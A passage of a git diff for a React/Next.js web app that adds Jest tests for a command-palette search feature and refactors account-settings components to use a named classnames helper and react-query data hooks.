 const EXTERNAL_PROVIDER = 'external' as const
 const isExternalProvider = (provider: string): boolean => provider === EXTERNAL_PROVIDER
diff --git a/web/app/components/goto-anything/command-selector.spec.tsx b/web/app/components/goto-anything/command-selector.spec.tsx
new file mode 100644
index 0000000000..ab8b7f6ad3
--- /dev/null
+++ b/web/app/components/goto-anything/command-selector.spec.tsx
@@ -0,0 +1,84 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import { Command } from 'cmdk'
+import CommandSelector from './command-selector'
+import type { ActionItem } from './actions/types'
+
+jest.mock('next/navigation', () => ({
+  usePathname: () => '/app',
+}))
+
+const slashCommandsMock = [{
+  name: 'zen',
+  description: 'Zen mode',
+  mode: 'direct',
+  isAvailable: () => true,
+}]
+
+jest.mock('./actions/commands/registry', () => ({
+  slashCommandRegistry: {
+    getAvailableCommands: () => slashCommandsMock,
+  },
+}))
+
+const createActions = (): Record<string, ActionItem> => ({
+  app: {
+    key: '@app',
+    shortcut: '@app',
+    title: 'Apps',
+    search: jest.fn(),
+    description: '',
+  } as ActionItem,
+  plugin: {
+    key: '@plugin',
+    shortcut: '@plugin',
+    title: 'Plugins',
+    search: jest.fn(),
+    description: '',
+  } as ActionItem,
+})
+
+describe('CommandSelector', () => {
+  test('should list contextual search actions and notify selection', async () => {
+    const actions = createActions()
+    const onSelect = jest.fn()
+
+    render(
+      <Command>
+        <CommandSelector
+          actions={actions}
+          onCommandSelect={onSelect}
+          searchFilter='app'
+          originalQuery='@app'
+        />
+      </Command>,
+    )
+
+    const actionButton = screen.getByText('app.gotoAnything.actions.searchApplicationsDesc')
+    await userEvent.click(actionButton)
+
+    expect(onSelect).toHaveBeenCalledWith('@app')
+  })
+
+  test('should render slash commands when query starts with slash', async () => {
+    const actions = createActions()
+    const onSelect = jest.fn()
+
+    render(
+      <Command>
+        <CommandSelector
+          actions={actions}
+          onCommandSelect={onSelect}
+          searchFilter='zen'
+          originalQuery='/zen'
+        />
+      </Command>,
+    )
+
+    const slashItem = await screen.findByText('app.gotoAnything.actions.zenDesc')
+    await userEvent.click(slashItem)
+
+    expect(onSelect).toHaveBeenCalledWith('/zen')
+  })
+})
diff --git a/web/app/components/goto-anything/context.spec.tsx b/web/app/components/goto-anything/context.spec.tsx
new file mode 100644
index 0000000000..19ca03e71b
--- /dev/null
+++ b/web/app/components/goto-anything/context.spec.tsx
@@ -0,0 +1,58 @@
+import React from 'react'
+import { render, screen, waitFor } from '@testing-library/react'
+import { GotoAnythingProvider, useGotoAnythingContext } from './context'
+
+let pathnameMock = '/'
+jest.mock('next/navigation', () => ({
+  usePathname: () => pathnameMock,
+}))
+
+let isWorkflowPageMock = false
+jest.mock('../workflow/constants', () => ({
+  isInWorkflowPage: () => isWorkflowPageMock,
+}))
+
+const ContextConsumer = () => {
+  const { isWorkflowPage, isRagPipelinePage } = useGotoAnythingContext()
+  return (
+    <div data-testid="status">
+      {String(isWorkflowPage)}|{String(isRagPipelinePage)}
+    </div>
+  )
+}
+
+describe('GotoAnythingProvider', () => {
+  beforeEach(() => {
+    isWorkflowPageMock = false
+    pathnameMock = '/'
+  })
+
+  test('should set workflow page flag when workflow path detected', async () => {
+    isWorkflowPageMock = true
+    pathnameMock = '/app/123/workflow'
+
+    render(
+      <GotoAnythingProvider>
+        <ContextConsumer />
+      </GotoAnythingProvider>,
+    )
+
+    await waitFor(() => {
+      expect(screen.getByTestId('status')).toHaveTextContent('true|false')
+    })
+  })
+
+  test('should detect RAG pipeline path based on pathname', async () => {
+    pathnameMock = '/datasets/abc/pipeline'
+
+    render(
+      <GotoAnythingProvider>
+        <ContextConsumer />
+      </GotoAnythingProvider>,
+    )
+
+    await waitFor(() => {
+      expect(screen.getByTestId('status')).toHaveTextContent('false|true')
+    })
+  })
+})
diff --git a/web/app/components/goto-anything/index.spec.tsx b/web/app/components/goto-anything/index.spec.tsx
new file mode 100644
index 0000000000..2ffff1cb43
--- /dev/null
+++ b/web/app/components/goto-anything/index.spec.tsx
@@ -0,0 +1,173 @@
+import React from 'react'
+import { act, render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import GotoAnything from './index'
+import type { ActionItem, SearchResult } from './actions/types'
+
+const routerPush = jest.fn()
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({
+    push: routerPush,
+  }),
+  usePathname: () => '/',
+}))
+
+const keyPressHandlers: Record<string, (event: any) => void> = {}
+jest.mock('ahooks', () => ({
+  useDebounce: (value: any) => value,
+  useKeyPress: (keys: string | string[], handler: (event: any) => void) => {
+    const keyList = Array.isArray(keys) ? keys : [keys]
+    keyList.forEach((key) => {
+      keyPressHandlers[key] = handler
+    })
+  },
+}))
+
+const triggerKeyPress = (combo: string) => {
+  const handler = keyPressHandlers[combo]
+  if (handler) {
+    act(() => {
+      handler({ preventDefault: jest.fn(), target: document.body })
+    })
+  }
+}
+
+let mockQueryResult = { data: [] as SearchResult[], isLoading: false, isError: false, error: null as Error | null }
+jest.mock('@tanstack/react-query', () => ({
+  useQuery: () => mockQueryResult,
+}))
+
+jest.mock('@/context/i18n', () => ({
+  useGetLanguage: () => 'en_US',
+}))
+
+const contextValue = { isWorkflowPage: false, isRagPipelinePage: false }
+jest.mock('./context', () => ({
+  useGotoAnythingContext: () => contextValue,
+  GotoAnythingProvider: ({ children }: { children: React.ReactNode }) => <>{children}</>,
+}))
+
+const createActionItem = (key: ActionItem['key'], shortcut: string): ActionItem => ({
+  key,
+  shortcut,
+  title: `${key} title`,
+  description: `${key} desc`,
+  action: jest.fn(),
+  search: jest.fn(),
+})
+
+const actionsMock = {
+  slash: createActionItem('/', '/'),
+  app: createActionItem('@app', '@app'),
+  plugin: createActionItem('@plugin', '@plugin'),
+}
+
+const createActionsMock = jest.fn(() => actionsMock)
+const matchActionMock = jest.fn(() => undefined)
+const searchAnythingMock = jest.fn(async () => mockQueryResult.data)
+
+jest.mock('./actions', () => ({
+  __esModule: true,
+  createActions: () => createActionsMock(),
+  matchAction: () => matchActionMock(),
+  searchAnything: () => searchAnythingMock(),
+}))
+
+jest.mock('./actions/commands', () => ({
+  SlashCommandProvider: () => null,
+}))
+
+jest.mock('./actions/commands/registry', () => ({
+  slashCommandRegistry: {
+    findCommand: () => null,
+    getAvailableCommands: () => [],
+    getAllCommands: () => [],
+  },
+}))
+
+jest.mock('@/app/components/workflow/utils/common', () => ({
+  getKeyboardKeyCodeBySystem: () => 'ctrl',
+  isEventTargetInputArea: () => false,
+  isMac: () => false,
+}))
+
+jest.mock('@/app/components/workflow/utils/node-navigation', () => ({
+  selectWorkflowNode: jest.fn(),
+}))
+
+jest.mock('../plugins/install-plugin/install-from-marketplace', () => (props: { manifest?: { name?: string }, onClose: () => void }) => (
+  <div data-testid="install-modal">
+    <span>{props.manifest?.name}</span>
+    <button onClick={props.onClose}>close</button>
+  </div>
+))
+
+describe('GotoAnything', () => {
+  beforeEach(() => {
+    routerPush.mockClear()
+    Object.keys(keyPressHandlers).forEach(key => delete keyPressHandlers[key])
+    mockQueryResult = { data: [], isLoading: false, isError: false, error: null }
+    matchActionMock.mockReset()
+    searchAnythingMock.mockClear()
+  })
+
+  it('should open modal via shortcut and navigate to selected result', async () => {
+    mockQueryResult = {
+      data: [{
+        id: 'app-1',
+        type: 'app',
+        title: 'Sample App',
+        description: 'desc',
+        path: '/apps/1',
+        icon: <div data-testid="icon">🧩</div>,
+        data: {},
+      } as any],
+      isLoading: false,
+      isError: false,
+      error: null,
+    }
+
+    render(<GotoAnything />)
+
+    triggerKeyPress('ctrl.k')
+
+    const input = await screen.findByPlaceholderText('app.gotoAnything.searchPlaceholder')
+    await userEvent.type(input, 'app')
+
+    const result = await screen.findByText('Sample App')
+    await userEvent.click(result)
+
+    expect(routerPush).toHaveBeenCalledWith('/apps/1')
+  })
+
+  it('should open plugin installer when selecting plugin result', async () => {
+    mockQueryResult = {
+      data: [{
+        id: 'plugin-1',
+        type: 'plugin',
+        title: 'Plugin Item',
+        description: 'desc',
+        path: '',
+        icon: <div />,
+        data: {
+          name: 'Plugin Item',
+          latest_package_identifier: 'pkg',
+        },
+      } as any],
+      isLoading: false,
+      isError: false,
+      error: null,
+    }
+
+    render(<GotoAnything />)
+
+    triggerKeyPress('ctrl.k')
+    const input = await screen.findByPlaceholderText('app.gotoAnything.searchPlaceholder')
+    await userEvent.type(input, 'plugin')
+
+    const pluginItem = await screen.findByText('Plugin Item')
+    await userEvent.click(pluginItem)
+
+    expect(await screen.findByTestId('install-modal')).toHaveTextContent('Plugin Item')
+  })
+})
diff --git a/web/app/components/header/account-dropdown/compliance.tsx b/web/app/components/header/account-dropdown/compliance.tsx
index 8dc4aeec32..28a4477e34 100644
--- a/web/app/components/header/account-dropdown/compliance.tsx
+++ b/web/app/components/header/account-dropdown/compliance.tsx
@@ -12,7 +12,7 @@ import Iso from '../../base/icons/src/public/common/Iso'
 import Gdpr from '../../base/icons/src/public/common/Gdpr'
 import Toast from '../../base/toast'
 import Tooltip from '../../base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useProviderContext } from '@/context/provider-context'
 import { Plan } from '@/app/components/billing/type'
 import { useModalContext } from '@/context/modal-context'
diff --git a/web/app/components/header/account-dropdown/index.tsx b/web/app/components/header/account-dropdown/index.tsx
index a9fc37aec9..23d112b6cb 100644
--- a/web/app/components/header/account-dropdown/index.tsx
+++ b/web/app/components/header/account-dropdown/index.tsx
@@ -29,7 +29,7 @@ import { useAppContext } from '@/context/app-context'
 import { useProviderContext } from '@/context/provider-context'
 import { useModalContext } from '@/context/modal-context'
 import { IS_CLOUD_EDITION } from '@/config'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 import { useDocLink } from '@/context/i18n'
 import { useLogout } from '@/service/use-common'
diff --git a/web/app/components/header/account-dropdown/support.tsx b/web/app/components/header/account-dropdown/support.tsx
index f354cc4ab0..2dd0376238 100644
--- a/web/app/components/header/account-dropdown/support.tsx
+++ b/web/app/components/header/account-dropdown/support.tsx
@@ -3,7 +3,7 @@ import { RiArrowRightSLine, RiArrowRightUpLine, RiChatSmile2Line, RiDiscordLine,
 import { Fragment } from 'react'
 import Link from 'next/link'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useProviderContext } from '@/context/provider-context'
 import { Plan } from '@/app/components/billing/type'
 import { toggleZendeskWindow } from '@/app/components/base/zendesk/utils'
diff --git a/web/app/components/header/account-dropdown/workplace-selector/index.tsx b/web/app/components/header/account-dropdown/workplace-selector/index.tsx
index f384cbc0bc..d0b24dd7a9 100644
--- a/web/app/components/header/account-dropdown/workplace-selector/index.tsx
+++ b/web/app/components/header/account-dropdown/workplace-selector/index.tsx
@@ -3,7 +3,7 @@ import { useContext } from 'use-context-selector'
 import { useTranslation } from 'react-i18next'
 import { Menu, MenuButton, MenuItems, Transition } from '@headlessui/react'
 import { RiArrowDownSLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { basePath } from '@/utils/var'
 import PlanBadge from '@/app/components/header/plan-badge'
 import { switchWorkspace } from '@/service/common'
diff --git a/web/app/components/header/account-setting/Integrations-page/index.tsx b/web/app/components/header/account-setting/Integrations-page/index.tsx
index 13791cc48d..460cc2ed5a 100644
--- a/web/app/components/header/account-setting/Integrations-page/index.tsx
+++ b/web/app/components/header/account-setting/Integrations-page/index.tsx
@@ -1,11 +1,10 @@
 'use client'
 
 import { useTranslation } from 'react-i18next'
-import useSWR from 'swr'
 import Link from 'next/link'
 import s from './index.module.css'
-import classNames from '@/utils/classnames'
-import { fetchAccountIntegrates } from '@/service/common'
+import { cn } from '@/utils/classnames'
+import { useAccountIntegrates } from '@/service/use-common'
 
 const titleClassName = `
   mb-2 text-sm font-medium text-gray-900
@@ -25,33 +24,38 @@ export default function IntegrationsPage() {
     },
   }
 
-  const { data } = useSWR({ url: '/account/integrates' }, fetchAccountIntegrates)
-  const integrates = data?.data?.length ? data.data : []
+  const { data } = useAccountIntegrates()
+  const integrates = data?.data ?? []
 
   return (
     <>
       <div className='mb-8'>
         <div className={titleClassName}>{t('common.integrations.connected')}</div>
         {
-          integrates.map(integrate => (
-            <div key={integrate.provider} className='mb-2 flex items-center rounded-lg border-[0.5px] border-gray-200 bg-gray-50 px-3 py-2'>
-              <div className={classNames('mr-3 h-8 w-8 rounded-lg border border-gray-100 bg-white', s[`${integrate.provider}-icon`])} />
-              <div className='grow'>
-                <div className='text-sm font-medium leading-[21px] text-gray-800'>{integrateMap[integrate.provider].name}</div>
-                <div className='text-xs font-normal leading-[18px] text-gray-500'>{integrateMap[integrate.provider].description}</div>
+          integrates.map((integrate) => {
+            const info = integrateMap[integrate.provider]
+            if (!info)
+              return null
+            return (
+              <div key={integrate.provider} className='mb-2 flex items-center rounded-lg border-[0.5px] border-gray-200 bg-gray-50 px-3 py-2'>
+                <div className={cn('mr-3 h-8 w-8 rounded-lg border border-gray-100 bg-white', s[`${integrate.provider}-icon`])} />
+                <div className='grow'>
+                  <div className='text-sm font-medium leading-[21px] text-gray-800'>{info.name}</div>
+                  <div className='text-xs font-normal leading-[18px] text-gray-500'>{info.description}</div>
+                </div>
+                {
+                  !integrate.is_bound && (
+                    <Link
+                      className='flex h-8 cursor-pointer items-center rounded-lg border border-gray-200 bg-white px-[7px] text-xs font-medium text-gray-700'
+                      href={integrate.link}
+                      target='_blank' rel='noopener noreferrer'>
+                      {t('common.integrations.connect')}
+                    </Link>
+                  )
+                }
               </div>
-              {
-                !integrate.is_bound && (
-                  <Link
-                    className='flex h-8 cursor-pointer items-center rounded-lg border border-gray-200 bg-white px-[7px] text-xs font-medium text-gray-700'
-                    href={integrate.link}
-                    target='_blank' rel='noopener noreferrer'>
-                    {t('common.integrations.connect')}
-                  </Link>
-                )
-              }
-            </div>
-          ))
+            )
+          })
         }
       </div>
       {/* <div className='mb-8'>
diff --git a/web/app/components/header/account-setting/api-based-extension-page/index.tsx b/web/app/components/header/account-setting/api-based-extension-page/index.tsx
index d16c4f2ded..24dfce5b90 100644
--- a/web/app/components/header/account-setting/api-based-extension-page/index.tsx
+++ b/web/app/components/header/account-setting/api-based-extension-page/index.tsx
@@ -1,5 +1,4 @@
 import { useTranslation } from 'react-i18next'
-import useSWR from 'swr'
 import {
   RiAddLine,
 } from '@remixicon/react'
@@ -7,15 +6,12 @@ import Item from './item'
 import Empty from './empty'
 import Button from '@/app/components/base/button'
 import { useModalContext } from '@/context/modal-context'
-import { fetchApiBasedExtensionList } from '@/service/common'
+import { useApiBasedExtensions } from '@/service/use-common'
 
 const ApiBasedExtensionPage = () => {
   const { t } = useTranslation()
   const { setShowApiBasedExtensionModal } = useModalContext()
-  const { data, mutate, isLoading } = useSWR(
-    '/api-based-extension',
-    fetchApiBasedExtensionList,
-  )
+  const { data, refetch: mutate, isPending: isLoading } = useApiBasedExtensions()
 
   const handleOpenApiBasedExtensionModal = () => {
     setShowApiBasedExtensionModal({
diff --git a/web/app/components/header/account-setting/api-based-extension-page/selector.tsx b/web/app/components/header/account-setting/api-based-extension-page/selector.tsx
index 549b5e7910..9da3745f2f 100644
--- a/web/app/components/header/account-setting/api-based-extension-page/selector.tsx
+++ b/web/app/components/header/account-setting/api-based-extension-page/selector.tsx
@@ -1,6 +1,5 @@
 import type { FC } from 'react'
 import { useState } from 'react'
-import useSWR from 'swr'
 import { useTranslation } from 'react-i18next'
 import {
   RiAddLine,
@@ -15,8 +14,8 @@ import {
   ArrowUpRight,
 } from '@/app/components/base/icons/src/vender/line/arrows'
 import { useModalContext } from '@/context/modal-context'
-import { fetchApiBasedExtensionList } from '@/service/common'
 import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
+import { useApiBasedExtensions } from '@/service/use-common'
 
 type ApiBasedExtensionSelectorProps = {
   value: string
@@ -33,10 +32,7 @@ const ApiBasedExtensionSelector: FC<ApiBasedExtensionSelectorProps> = ({
     setShowAccountSettingModal,
     setShowApiBasedExtensionModal,
   } = useModalContext()
-  const { data, mutate } = useSWR(
-    '/api-based-extension',
-    fetchApiBasedExtensionList,
-  )
+  const { data, refetch: mutate } = useApiBasedExtensions()
   const handleSelect = (id: string) => {
     onChange(id)
     setOpen(false)
diff --git a/web/app/components/header/account-setting/collapse/index.tsx b/web/app/components/header/account-setting/collapse/index.tsx
index 44360df8cd..94ebbd5a78 100644
--- a/web/app/components/header/account-setting/collapse/index.tsx
+++ b/web/app/components/header/account-setting/collapse/index.tsx
@@ -1,6 +1,6 @@
 import { useState } from 'react'
 import { ChevronDownIcon, ChevronRightIcon } from '@heroicons/react/24/outline'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type IItem = {
   key: string
@@ -25,7 +25,7 @@ const Collapse = ({
   const toggle = () => setOpen(!open)
 
   return (
-    <div className={classNames('overflow-hidden rounded-xl bg-background-section-burn', wrapperClassName)}>
+    <div className={cn('overflow-hidden rounded-xl bg-background-section-burn', wrapperClassName)}>
       <div className='flex cursor-pointer items-center justify-between px-3 py-2 text-xs font-medium leading-[18px] text-text-secondary' onClick={toggle}>
         {title}
         {
diff --git a/web/app/components/header/account-setting/data-source-page-new/install-from-marketplace.tsx b/web/app/components/header/account-setting/data-source-page-new/install-from-marketplace.tsx
index f4f7749f7f..9056b96299 100644
--- a/web/app/components/header/account-setting/data-source-page-new/install-from-marketplace.tsx
+++ b/web/app/components/header/account-setting/data-source-page-new/install-from-marketplace.tsx
@@ -18,7 +18,7 @@ import Loading from '@/app/components/base/loading'
 import ProviderCard from '@/app/components/plugins/provider-card'
 import List from '@/app/components/plugins/marketplace/list'
 import type { Plugin } from '@/app/components/plugins/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { getLocaleOnClient } from '@/i18n-config'
 import { getMarketplaceUrl } from '@/utils/var'
 
diff --git a/web/app/components/header/account-setting/data-source-page/data-source-notion/index.tsx b/web/app/components/header/account-setting/data-source-page/data-source-notion/index.tsx
index 065ef91eba..68fd52d0a4 100644
--- a/web/app/components/header/account-setting/data-source-page/data-source-notion/index.tsx
+++ b/web/app/components/header/account-setting/data-source-page/data-source-notion/index.tsx
@@ -1,16 +1,15 @@
 'use client'
 import type { FC } from 'react'
 import React, { useEffect, useState } from 'react'
-import useSWR from 'swr'
 import Panel from '../panel'
 import { DataSourceType } from '../panel/types'
 import type { DataSourceNotion as TDataSourceNotion } from '@/models/common'
 import { useAppContext } from '@/context/app-context'
-import { fetchNotionConnection } from '@/service/common'
 import NotionIcon from '@/app/components/base/notion-icon'
 import { noop } from 'lodash-es'
 import { useTranslation } from 'react-i18next'
 import Toast from '@/app/components/base/toast'
+import { useDataSourceIntegrates, useNotionConnection } from '@/service/use-common'
 
 const Icon: FC<{
   src: string
@@ -26,7 +25,7 @@ const Icon: FC<{
   )
 }
 type Props = {
-  workspaces: TDataSourceNotion[]
+  workspaces?: TDataSourceNotion[]
 }
 
 const DataSourceNotion: FC<Props> = ({
@@ -34,10 +33,14 @@ const DataSourceNotion: FC<Props> = ({
 }) => {
   const { isCurrentWorkspaceManager } = useAppContext()
   const [canConnectNotion, setCanConnectNotion] = useState(false)
-  const { data } = useSWR(canConnectNotion ? '/oauth/data-source/notion' : null, fetchNotionConnection)
+  const { data: integrates } = useDataSourceIntegrates({
+    initialData: workspaces ? { data: workspaces } : undefined,
+  })
+  const { data } = useNotionConnection(canConnectNotion)
   const { t } = useTranslation()
 
-  const connected = !!workspaces.length
+  const resolvedWorkspaces = integrates?.data ?? []
+  const connected = !!resolvedWorkspaces.length
 
   const handleConnectNotion = () => {
     if (!isCurrentWorkspaceManager)
@@ -74,7 +77,7 @@ const DataSourceNotion: FC<Props> = ({
       onConfigure={handleConnectNotion}
       readOnly={!isCurrentWorkspaceManager}
       isSupportList
-      configuredList={workspaces.map(workspace => ({
+      configuredList={resolvedWorkspaces.map(workspace => ({
         id: workspace.id,
         logo: ({ className }: { className: string }) => (
           <Icon
diff --git a/web/app/components/header/account-setting/data-source-page/data-source-notion/operate/index.tsx b/web/app/components/header/account-setting/data-source-page/data-source-notion/operate/index.tsx
index bcf24d68da..61db976dbb 100644
--- a/web/app/components/header/account-setting/data-source-page/data-source-notion/operate/index.tsx
+++ b/web/app/components/header/account-setting/data-source-page/data-source-notion/operate/index.tsx
@@ -1,7 +1,6 @@
 'use client'
 import { useTranslation } from 'react-i18next'
 import { Fragment } from 'react'
-import { useSWRConfig } from 'swr'
 import {
   RiDeleteBinLine,
   RiLoopLeftLine,
@@ -10,8 +9,9 @@ import {
 } from '@remixicon/react'
 import { Menu, MenuButton, MenuItem, MenuItems, Transition } from '@headlessui/react'
 import { syncDataSourceNotion, updateDataSourceNotionAction } from '@/service/common'
+import { useInvalidDataSourceIntegrates } from '@/service/use-common'
 import Toast from '@/app/components/base/toast'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type OperateProps = {
   payload: {
@@ -25,14 +25,14 @@ export default function Operate({
   onAuthAgain,
 }: OperateProps) {
   const { t } = useTranslation()
-  const { mutate } = useSWRConfig()
+  const invalidateDataSourceIntegrates = useInvalidDataSourceIntegrates()
 
   const updateIntegrates = () => {
     Toast.notify({
       type: 'success',
       message: t('common.api.success'),
     })
-    mutate({ url: 'data-source/integrates' })
+    invalidateDataSourceIntegrates()
   }
   const handleSync = async () => {
     await syncDataSourceNotion({ url: `/oauth/data-source/notion/${payload.id}/sync` })
diff --git a/web/app/components/header/account-setting/data-source-page/data-source-website/index.tsx b/web/app/components/header/account-setting/data-source-page/data-source-website/index.tsx
index d2faa1dd6a..a2762add44 100644
--- a/web/app/components/header/account-setting/data-source-page/data-source-website/index.tsx
+++ b/web/app/components/header/account-setting/data-source-page/data-source-website/index.tsx
@@ -7,7 +7,7 @@ import { DataSourceType } from '../panel/types'
 import ConfigFirecrawlModal from './config-firecrawl-modal'
 import ConfigWatercrawlModal from './config-watercrawl-modal'
 import ConfigJinaReaderModal from './config-jina-reader-modal'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import s from '@/app/components/datasets/create/website/index.module.css'
 import { fetchDataSources, removeDataSourceApiKeyBinding } from '@/service/datasets'
 
diff --git a/web/app/components/header/account-setting/data-source-page/panel/config-item.tsx b/web/app/components/header/account-setting/data-source-page/panel/config-item.tsx
index 6faf840529..5a9cbb4c40 100644
--- a/web/app/components/header/account-setting/data-source-page/panel/config-item.tsx
+++ b/web/app/components/header/account-setting/data-source-page/panel/config-item.tsx
@@ -9,7 +9,7 @@ import Indicator from '../../../indicator'
 import Operate from '../data-source-notion/operate'
 import { DataSourceType } from './types'
 import s from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 
 export type ConfigItemType = {
diff --git a/web/app/components/header/account-setting/data-source-page/panel/index.tsx b/web/app/components/header/account-setting/data-source-page/panel/index.tsx
index 95ab9a6982..f644853339 100644
--- a/web/app/components/header/account-setting/data-source-page/panel/index.tsx
+++ b/web/app/components/header/account-setting/data-source-page/panel/index.tsx
@@ -10,7 +10,7 @@ import s from './style.module.css'
 import { DataSourceType } from './types'
 import Button from '@/app/components/base/button'
 import { DataSourceProvider } from '@/models/common'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   type: DataSourceType
diff --git a/web/app/components/header/account-setting/index.tsx b/web/app/components/header/account-setting/index.tsx
index 49f6f62a08..c51aa1bc30 100644
--- a/web/app/components/header/account-setting/index.tsx
+++ b/web/app/components/header/account-setting/index.tsx
@@ -23,7 +23,7 @@ import LanguagePage from './language-page'
 import ApiBasedExtensionPage from './api-based-extension-page'
 import DataSourcePage from './data-source-page-new'
 import ModelProviderPage from './model-provider-page'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BillingPage from '@/app/components/billing/billing-page'
 import CustomPage from '@/app/components/custom/custom-page'
 import useBreakpoints, { MediaType } from '@/hooks/use-breakpoints'
diff --git a/web/app/components/header/account-setting/members-page/edit-workspace-modal/index.tsx b/web/app/components/header/account-setting/members-page/edit-workspace-modal/index.tsx
index 6d5b2b1ba0..56965214c5 100644
--- a/web/app/components/header/account-setting/members-page/edit-workspace-modal/index.tsx
+++ b/web/app/components/header/account-setting/members-page/edit-workspace-modal/index.tsx
@@ -1,5 +1,5 @@
 'use client'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Modal from '@/app/components/base/modal'
 import Input from '@/app/components/base/input'
 import { useTranslation } from 'react-i18next'
diff --git a/web/app/components/header/account-setting/members-page/index.tsx b/web/app/components/header/account-setting/members-page/index.tsx
index 6b4da22084..e951e5b85a 100644
--- a/web/app/components/header/account-setting/members-page/index.tsx
+++ b/web/app/components/header/account-setting/members-page/index.tsx
@@ -1,6 +1,5 @@
 'use client'
 import { useState } from 'react'
-import useSWR from 'swr'
 import { useContext } from 'use-context-selector'
 import { RiUserAddLine } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
@@ -10,7 +9,6 @@ import EditWorkspaceModal from './edit-workspace-modal'
 import TransferOwnershipModal from './transfer-ownership-modal'
 import Operation from './operation'
 import TransferOwnership from './operation/transfer-ownership'
-import { fetchMembers } from '@/service/common'
 import I18n from '@/context/i18n'
 import { useAppContext } from '@/context/app-context'
 import Avatar from '@/app/components/base/avatar'
@@ -21,11 +19,12 @@ import Button from '@/app/components/base/button'
 import UpgradeBtn from '@/app/components/billing/upgrade-btn'
 import { NUM_INFINITE } from '@/app/components/billing/config'
 import { LanguagesSupported } from '@/i18n-config/language'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 import { RiPencilLine } from '@remixicon/react'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 import { useFormatTimeFromNow } from '@/hooks/use-format-time-from-now'
+import { useMembers } from '@/service/use-common'
 
 const MembersPage = () => {
   const { t } = useTranslation()
@@ -39,13 +38,7 @@ const MembersPage = () => {
   const { locale } = useContext(I18n)
 
   const { userProfile, currentWorkspace, isCurrentWorkspaceOwner, isCurrentWorkspaceManager } = useAppContext()
-  const { data, mutate } = useSWR(
-    {
-      url: '/workspaces/current/members',
-      params: {},
-    },
-    fetchMembers,
-  )
+  const { data, refetch } = useMembers()
   const { systemFeatures } = useGlobalPublicStore()
   const { formatTimeFromNow } = useFormatTimeFromNow()
   const [inviteModalVisible, setInviteModalVisible] = useState(false)
@@ -140,7 +133,7 @@ const MembersPage = () => {
                       <div className='system-sm-regular px-3 text-text-secondary'>{RoleMap[account.role] || RoleMap.normal}</div>
                     )}
                     {isCurrentWorkspaceOwner && account.role !== 'owner' && (
-                      <Operation member={account} operatorRole={currentWorkspace.role} onOperate={mutate} />
+                      <Operation member={account} operatorRole={currentWorkspace.role} onOperate={refetch} />
                     )}
                     {!isCurrentWorkspaceOwner && (
                       <div className='system-sm-regular px-3 text-text-secondary'>{RoleMap[account.role] || RoleMap.normal}</div>
@@ -160,7 +153,7 @@ const MembersPage = () => {
             onSend={(invitationResults) => {
               setInvitedModalVisible(true)
               setInvitationResults(invitationResults)
-              mutate()
+              refetch()
             }}
           />
         )
diff --git a/web/app/components/header/account-setting/members-page/invite-modal/index.tsx b/web/app/components/header/account-setting/members-page/invite-modal/index.tsx
index a432b8a4f0..14654c1196 100644
--- a/web/app/components/header/account-setting/members-page/invite-modal/index.tsx
+++ b/web/app/components/header/account-setting/members-page/invite-modal/index.tsx
@@ -7,7 +7,7 @@ import { ReactMultiEmail } from 'react-multi-email'
 import { RiErrorWarningFill } from '@remixicon/react'
 import RoleSelector from './role-selector'
 import s from './index.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Modal from '@/app/components/base/modal'
 import Button from '@/app/components/base/button'
 import { inviteMember } from '@/service/common'
diff --git a/web/app/components/header/account-setting/members-page/invite-modal/role-selector.tsx b/web/app/components/header/account-setting/members-page/invite-modal/role-selector.tsx
index 0a28d797bc..19305eb763 100644
--- a/web/app/components/header/account-setting/members-page/invite-modal/role-selector.tsx
+++ b/web/app/components/header/account-setting/members-page/invite-modal/role-selector.tsx
@@ -1,5 +1,5 @@
 import { useTranslation } from 'react-i18next'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import React, { useState } from 'react'
 import { RiArrowDownSLine } from '@remixicon/react'
 import { useProviderContext } from '@/context/provider-context'
diff --git a/web/app/components/header/account-setting/members-page/operation/index.tsx b/web/app/components/header/account-setting/members-page/operation/index.tsx
index b06ec63228..f393be5717 100644
--- a/web/app/components/header/account-setting/members-page/operation/index.tsx
+++ b/web/app/components/header/account-setting/members-page/operation/index.tsx
@@ -5,7 +5,7 @@ import { useContext } from 'use-context-selector'
 import { Menu, MenuButton, MenuItem, MenuItems, Transition } from '@headlessui/react'
 import { CheckIcon, ChevronDownIcon } from '@heroicons/react/24/outline'
 import { useProviderContext } from '@/context/provider-context'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { Member } from '@/models/common'
 import { deleteMemberOrCancelInvitation, updateMemberRole } from '@/service/common'
 import { ToastContext } from '@/app/components/base/toast'
diff --git a/web/app/components/header/account-setting/members-page/operation/transfer-ownership.tsx b/web/app/components/header/account-setting/members-page/operation/transfer-ownership.tsx
index bbf1a0351a..61ed7fb337 100644
--- a/web/app/components/header/account-setting/members-page/operation/transfer-ownership.tsx
+++ b/web/app/components/header/account-setting/members-page/operation/transfer-ownership.tsx
@@ -5,7 +5,7 @@ import {
   RiArrowDownSLine,
 } from '@remixicon/react'
